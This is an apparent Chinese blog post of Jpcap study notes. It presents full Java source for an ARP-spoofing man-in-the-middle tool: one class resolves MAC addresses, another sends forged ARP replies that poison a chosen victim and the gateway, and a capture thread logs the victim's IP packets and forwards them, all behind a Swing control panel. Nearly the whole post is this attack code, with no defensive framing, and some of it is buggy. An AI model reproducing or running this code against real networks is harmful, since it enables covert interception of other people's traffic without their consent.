您的位置:首页 > 理论基础 > 计算机网络

Jpcap包的学习笔记(八)如何使用Jpcap 包实现网络监听(下部)

2007-12-29 23:46 706 查看
 如何使用Jpcap 包实现网络监听
   实现的代码如下(这里提供几个重要的类)
     /**
 * @(#)ARP.java
 * ARP类
 * 用于解析目标主机IP的地址为相应的MAC地址
 * @author scholar_ii
 * @version 1.00 2007/12/10
 * @since JDK1.6
 */
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import java.util.Arrays;
import java.net.InetAddress;
import java.net.Inet4Address;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.NetworkInterface;
import jpcap.NetworkInterfaceAddress;
import javax.swing.JOptionPane;
public class ARP
{  
    /**
     * 静态方法:用于解析目标IP地址,得到相应的MAC地址
     * @param targetIp
     *        目标主机IP地址
     * @return targetMAC
     *         目标主机MAC地址
     */
    public static  byte[] getTargetMAC(InetAddress targetIp)
    {
     NetworkInterface[] devices=JpcapCaptor.getDeviceList();
  NetworkInterface device=null;
        //寻找适合的网络设备
       loop: for(NetworkInterface d:devices)
             {
        for(NetworkInterfaceAddress addr:d.addresses)
        {
         if(!(addr.address instanceof Inet4Address)) continue;
         byte[] bip=targetIp.getAddress();
         byte[] subnet=addr.subnet.getAddress();
         byte[] bif=addr.address.getAddress();
         for(int i=0;i<4;i++){
         bip[i]=(byte)(bip[i]&subnet[i]);
         bif[i]=(byte)(bif[i]&subnet[i]);
    }
    if(Arrays.equals(bip,bif))
    {
     device=d;
     break loop;
    }
       }
     }
  
  if(device==null)
   throw new IllegalArgumentException(targetIp+" is not a local address");
  JpcapCaptor captor = null;
  //打开一个网络数据包捕捉者
  try
  {
   captor=JpcapCaptor.openDevice(device,2000,false,3000);
   //只接收ARP数包
      captor.setFilter("arp",true);
  }catch(Exception e)
  {
   
  }
  //获得发送数据包的实例
  JpcapSender sender=captor.getJpcapSenderInstance();
  InetAddress srcip=null;
  for(NetworkInterfaceAddress addr:device.addresses)
   if(addr.address instanceof Inet4Address){
    srcip=addr.address;
    break;
   }
        //进行广播数据报的MAC地址
  byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
  //构造REQUEST 类型的ARP的数据包
  ARPPacket arp=new ARPPacket();
  arp.hardtype=ARPPacket.HARDTYPE_ETHER;
  arp.prototype=ARPPacket.PROTOTYPE_IP;
  arp.operation=ARPPacket.ARP_REQUEST;
  arp.hlen=6;
  arp.plen=4;
  //源MAC地址
  arp.sender_hardaddr=device.mac_address;
  //源IP地址
  arp.sender_protoaddr=srcip.getAddress();
  //目地MAC地址:广播地址全为1(二进制)
  arp.target_hardaddr=broadcast;
  //目地IP地址
  arp.target_protoaddr=targetIp.getAddress();
  //构造以太网头部
  EthernetPacket ether=new EthernetPacket();
  ether.frametype=EthernetPacket.ETHERTYPE_ARP;
  ether.src_mac=device.mac_address;
  ether.dst_mac=broadcast;
  //ARP数据包加上以网关头部
  arp.datalink=ether;
  //向局域网广播ARP请求数据报
  sender.sendPacket(arp);
  //接收目标主面的答应ARP数据报
  while(true)
  {
   ARPPacket p=(ARPPacket)captor.getPacket();
   if(p==null)
   {
    throw new IllegalArgumentException(targetIp +"不是本地局域网的IP号");
   }
   if(Arrays.equals(p.target_protoaddr,srcip.getAddress())){
    return p.sender_hardaddr;
   }
  }
    }
   
}
/**
 * @(#)TrickerThread.java
 * TrickerThread类用于向目标主与网关发送伪造的ARP
 * 数据包.起到欺骗的角色
 * @author scholar_ii
 * @version 1.00 2007/12/18
 */
import java.net.InetAddress;
import jpcap.packet.*;
import jpcap.*;
public class TrickerThread extends Thread
{  
    /**
     * 目标主机IP
     */
    private String targetIP;
    /**
     * 网关IP
     */
    private String gateWayIP;
    /**
     * 目标主机MAC
     */
    private byte[] targetMAC;
    /**
     * 网关MAC
     */
    private byte[] gateWayMAC;
    /**
     * 发往目标主机的伪造的ARP—REPY数据包
     */
    private ARPPacket targetPacket;
    /**
     * 发往网关的伪造的ARP—REPY数据包
     */
    private ARPPacket gateWayPacket;
    /**
     * 网卡设备
     */
    private NetworkInterface device;
    /**
     * 网络数据包发送者
     */
    private JpcapSender sender = null;
    /*
     * 构造方法
     * 类的初使化
     * @param device
     *        网卡设备
     * @param sender
     *        网络数据包捕捉者
     * @param targetIP
     *        目标主机IP
     * @param gateWayIP
     *        网关IP
     * @param targetMAC
     *        目标主机MAC
     * @param gateWayMAC
     *        网关MAC
     */
    public TrickerThread(NetworkInterface device, JpcapSender sender, String targetIP, String gateWayIP, byte[] targetMAC , byte[] gateWayMAC)
    {
      this.device = device;
      this.sender = sender;
         this.targetIP = targetIP;
         this.gateWayIP = gateWayIP;
         this.targetMAC = targetMAC;
         this.gateWayMAC = gateWayMAC;
        
         makePacket(); 
    }
   
    /*
     * 线程方法
     * 每隔200ms向目标主机与网络发送伪造的ARP_REPY数据包
     *
    */
    public void run()
    {
     
     sender.sendPacket(targetPacket);
     sender.sendPacket(gateWayPacket);
     System.out.println("欺骗!!");
     try
     {
      Thread.sleep(200);
     }
     catch(Exception e)
     {
      System.out.println();
     }
    }
   
    private void makePacket()
    {
     /*构造欺骗目标的ARP包*/
     /*目地IP地址为目标IP,目地MAC地址为目标MAC*/
     /*源IP地址为网关IP(实际上是应该本地主IP),源MAC地址为本地主机MAC*/
     targetPacket = new ARPPacket();//发往目标主机的ARP包
  targetPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
  targetPacket.prototype=ARPPacket.PROTOTYPE_IP;
  targetPacket.operation=ARPPacket.ARP_REPLY;//REPLY回复型ARP数据包
  targetPacket.hlen=6;
  targetPacket.plen=4;
  targetPacket.sender_hardaddr=device.mac_address;//源MAC地址
  targetPacket.target_hardaddr=targetMAC;//目地MAC地址
  try
  {
   /*源IP地址:网关IP,进行欺骗*/
      targetPacket.sender_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
      /*目地IP地址*/
      targetPacket.target_protoaddr=InetAddress.getByName(targetIP).getAddress();
  }catch(Exception e)
  {
   
  }
  /*构造以太网帧的头部*/
  EthernetPacket ether=new EthernetPacket();
  ether.frametype=EthernetPacket.ETHERTYPE_ARP;
  /*源MAC地址:本地MAC*/
  ether.src_mac=device.mac_address;
  /*目地MAC地址:目标MAC*/
  ether.dst_mac=targetMAC;
  /*ARP包加上以太网帖头部*/
  targetPacket.datalink=ether;
  
  /*构造欺骗网关的ARP包*/
  /*目地IP地址为网关IP,目地MAC为网关MAC*/
  /*源IP地址为为目标IP(实际应该为目标IP本地主机IP),源MAC地址为本地主MAC*/
  gateWayPacket = new ARPPacket();//发往网关的ARP数据报
  gateWayPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
  gateWayPacket.prototype=ARPPacket.PROTOTYPE_IP;
  gateWayPacket.operation=ARPPacket.ARP_REPLY;
  gateWayPacket.hlen=6;
  gateWayPacket.plen=4;
  gateWayPacket.sender_hardaddr=device.mac_address;//源MAC地址
  gateWayPacket.target_hardaddr=gateWayMAC;//目标MAC地址
  try
  {
   /*源IP地址:目标IP,进行欺骗*/
      gateWayPacket.sender_protoaddr=InetAddress.getByName(targetIP).getAddress();
      /*目地IP地址:网关*/
      gateWayPacket.target_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
  }catch(Exception e)
  {
   
  }
    
  ether=new EthernetPacket();
  ether.frametype=EthernetPacket.ETHERTYPE_ARP;
  ether.src_mac=device.mac_address;//源MAC地址
  ether.dst_mac=gateWayMAC;//目的MAC地址
  gateWayPacket.datalink=ether;
  
    }
   
   
}
/**
 * @(#)MinitorAntherHostThread.java
 * MinitorAntherHostThread类
 * 用于监听局域网的目标主机的通讯
 * @author scholar_ii
 * @version 1.00 2007/12/9
 */
 
import jpcap.*;
import java.io.*;
import java.net.*;
import jpcap.packet.*;
import javax.swing.table.DefaultTableModel;
public class MinitorAntherHostThread extends Thread
{
 /**
  * 设备列表
  */
    private jpcap.NetworkInterface[] devices = null;
    /**
     * 使用的设备
     */
    private jpcap.NetworkInterface device = null ;
    /**
     * 网络数据包的捕捉者
     */
    private JpcapCaptor captor = null ;
    /**
     * 网络数据包的发送者
     */
    private JpcapSender sender = null;
    /**
     * 目标主机MAC地址
     */
    private byte[] targetMAC;
    /**
     * 网关MAC地址
     */
    private byte[] gateWayMAC;
    /**
     * 目标IP地址
     */
    private String targetIP;
    /**
     * 网关IP地址
     */
    private String gateWayIP;
    /**
     * 表格数据模式
     */
    private DefaultTableModel model;
   
    /* 构造函数
     * @param model
     *        表格数据模型
     * @param targetIP
     *        目标主机IP
     * @param gateWayIP
     *        网关IP
     * @param targetMAC
     *        目标主机MAC地址
     * @param gateWayMAC
     *        网关MAC地址
     *
    */
    public MinitorAntherHostThread(DefaultTableModel model, String targetIP , String gateWayIP, byte[] targetMAC, byte[] gateWayMAC)
    {
     this.model = model;
     this.targetIP = targetIP;
     this.gateWayIP = gateWayIP;
     this.targetMAC = targetMAC;
     this.gateWayMAC =  gateWayMAC;
     try
     {
      initDevice();
     }
     catch(IOException e)
     {
      
     }
        
      }
   
   /**
    * 初始化设备
    * JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic
    * dialup adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
    * 注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
    * JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
    * 虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分
    * 配给虚拟网卡,也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。
    * @throws IOException
    *         如要打开网卡设备出现异常
    */
    private void initDevice() throws IOException
    {
        devices = JpcapCaptor.getDeviceList(); //去除虚拟网卡的处理
        int index = 0;
        if(devices.length>1)
         index = 1;
        device = devices[index];//只有一个设备
        captor = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
        captor.setFilter("ip",true); //只监听B的IP数据包
        sender = captor.getJpcapSenderInstance();//获得发送数据包的实例
    }
  
    /**
     * 打印接受到的数据包并转发
     */
     public void run()//接收数据包并转发
     {
       TrickerThread tricker = new TrickerThread(device, sender,targetIP,  gateWayIP,  targetMAC , gateWayMAC);
       /*开始欺骗线程*/
         tricker.start();
         IPPacket dataPacket = null;
         /*处理接收与转发数据包*/
         while(true)
         {
             dataPacket =(IPPacket)captor.getPacket();
             if(dataPacket!=null)
             {
              System.out.println(dataPacket);
              Object[] data = {"","","",""};
              if(dataPacket.src_ip.getHostAddress().equals(targetIP))
                {
                   data[0] = "发送";
                   data[1] = dataPacket.getClass().getName();
                   data[2] = dataPacket;
             StringBuffer buffer = new StringBuffer();
             for(Byte a:dataPacket.data)
             {
               buffer.append(Byte.toString(a));
             }
             data[3] = new String(buffer);
             model.addRow(data);//显不数据包
                   /*转发目标想发送到网络(到网关)的数据包*/
                 send(dataPacket, gateWayMAC);
                 System.out.println(dataPacket);
                }
                else if(dataPacket.dst_ip.getHostAddress().equals(targetIP))
                {
                   data[0] = "接收";
                   data[2] = dataPacket;
             StringBuffer buffer = new StringBuffer();
             for(Byte a:dataPacket.data)
             {
               buffer.append(Byte.toString(a));
             }
             data[3] = new String(buffer);
             model.addRow(data);//显不数据包
                   /*转发网络(网关)想发关到目标主机的数据包*/
                 send(dataPacket, targetMAC);
                 System.out.println(dataPacket);
                }
               
             }
            
                
        }
    }
   
    /**
     * 转发数据包的函数
     * @param packet
     *        发送的数据包
     * @param changeMAC
     *        发送目标的物理地址
    */
    private void send(Packet packet, byte[] changeMAC)
    {
        EthernetPacket eth;
        if(packet.datalink instanceof EthernetPacket)
        {
             eth = (EthernetPacket)packet.datalink;
             for(int i = 0; i < 6; i++)
             {
                eth.dst_mac[i] = changeMAC[i]; //修改包以太头,改变包的目标
                eth.src_mac[i] = device.mac_address[i]; //源发送者为A
             }
            sender.sendPacket(packet);
       }
    }
}
/**
 * @(#)MinitorAntherHostPane.java
 *
 *
 * @author
 * @version 1.00 2007/12/9
 */
import javax.swing.JLabel;
import javax.swing.JTable;
import javax.swing.JPanel;
import javax.swing.JButton;
import javax.swing.JTextField;
import java.awt.FlowLayout;
import javax.swing.JCheckBox;
import java.net.InetAddress;
import java.awt.BorderLayout;
import javax.swing.JScrollPane;
import java.awt.event.MouseEvent;
import javax.swing.BorderFactory;
import java.awt.event.MouseAdapter;
import java.awt.event.ActionListener;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.DefaultTableModel;
public class MinitorAntherHostPane extends JPanel
{
    private JButton initButton;
    private JButton startButton;
    private JButton stopButton;
    private JButton endButton;
    private JPanel operatePane;
    private JTable showPackage;
    private DefaultTableModel model;
    private JScrollPane showPane;
    private JPanel northPane ;
    private JLabel label;
    private JLabel label2;
    private JLabel label3;
    private JLabel label4;
    private JTextField textField;
    private JTextField textField2;
    private JTextField textField3;
    private JTextField textField4;
    private JButton arpButton;
    private String targetIp;
    private String gateWayIp;
    private byte[] targetMac;
    private byte[] gateWayMac;
    private MinitorAntherHostThread minitor;
    public MinitorAntherHostPane()
    {
     Object[][] data = {{}};
     Object[] title = {"监听类型","数据包类型","数据包通信信息","数据包的数据"};
     model = new DefaultTableModel(data, title);
     showPackage = new JTable(model);
     showPackage.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
     showPane = new JScrollPane(showPackage);
     showPane.setBorder(BorderFactory.createTitledBorder("监听的数据包列表"));
     
     initButton = new JButton("开始监听");
     initButton.addMouseListener(
      new MouseAdapter()
      {
       public void mouseClicked(MouseEvent e)
       {
        initButton.setEnabled(false);
        stopButton.setEnabled(true);
        MinitorAntherHostThread minitor = new MinitorAntherHostThread(model,targetIp,gateWayIp,targetMac,gateWayMac);
        minitor.start();
       }
      }); 
     startButton = new JButton("继续监听");
     startButton.setEnabled(false);
     startButton.addMouseListener(
      new MouseAdapter()
      {
       public void mouseClicked(MouseEvent e)
       {
        stopButton.setEnabled(true);
           endButton.setEnabled(false);
           minitor.resume();
       }
      }
       );
     stopButton = new JButton("暂停监听");
     stopButton.setEnabled(false);
     stopButton.addMouseListener(
      new MouseAdapter()
      {
       public void mouseClicked(MouseEvent e)
       {
        stopButton.setEnabled(false);
        startButton.setEnabled(true);
        endButton.setEnabled(true);
        minitor.suspend();
        
       }
      }
       );
     endButton = new JButton("终止监听");
     endButton.setEnabled(false);
     endButton.addMouseListener(
      new MouseAdapter()
      {
       public void mouseClicked(MouseEvent e)
       {
        initButton.setEnabled(true);
        startButton.setEnabled(false);
        stopButton.setEnabled(false);
        endButton.setEnabled(false);
        try
        {
         minitor.destroy();
        }
        catch(Exception ex)
        {
         
        }
        
       }
      }
       );
     operatePane = new JPanel();
     operatePane.add(initButton);
     operatePane.add(startButton);
     operatePane.add(stopButton);
     operatePane.add(endButton);
     operatePane.setBorder(BorderFactory.createTitledBorder("操作选项"));
     
     label = new JLabel("目标主机的IP地址:");
     textField = new JTextField(9);
     arpButton = new JButton("解析MAC地址");
     arpButton.addMouseListener(
      new MouseAdapter()
      {
       public void mouseClicked(MouseEvent e)
       {
        if(textField.getText().equals(""))
        {
         
        }
        else
        {
         try
         {
          targetIp = textField.getText();
          targetMac = ARP.getTargetMAC(InetAddress.getByName(targetIp));
         }
         catch(Exception ex)
         {
          
         }
         StringBuffer buffer = new StringBuffer();
         for (byte b : targetMac)
               buffer.append(Integer.toHexString(b&0xff) + ":");
            textField2.setText(new String(buffer));
           
            try
         {
          gateWayIp = textField3.getText();
          gateWayMac = ARP.getTargetMAC(InetAddress.getByName(gateWayIp));
         }
         catch(Exception ex)
         {
          
         }
         buffer = new StringBuffer();
         for (byte b : gateWayMac)
               buffer.append(Integer.toHexString(b&0xff) + ":");
            textField4.setText(new String(buffer));
        }
       }
      }
       );
     label2 = new JLabel("目标主机MAC地址:");
     textField2 = new JTextField(9);
     label3 = new JLabel("网关IP地址:");
     textField3 = new JTextField(9);
     label4 = new JLabel("网关MAC地址:");
     textField4 = new JTextField(9);
     northPane = new JPanel(new FlowLayout(FlowLayout.LEFT));
     northPane.add(label3);
     northPane.add(textField3);
     northPane.add(label);
     northPane.add(textField);
     northPane.add(arpButton);
     northPane.add(label4);
     northPane.add(textField4);
     northPane.add(label2);
     northPane.add(textField2);
     setLayout(new BorderLayout());
     add(northPane, BorderLayout.NORTH);
     add(showPane, BorderLayout.CENTER);
     add(operatePane, BorderLayout.SOUTH);
    }
   
   
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
相关文章推荐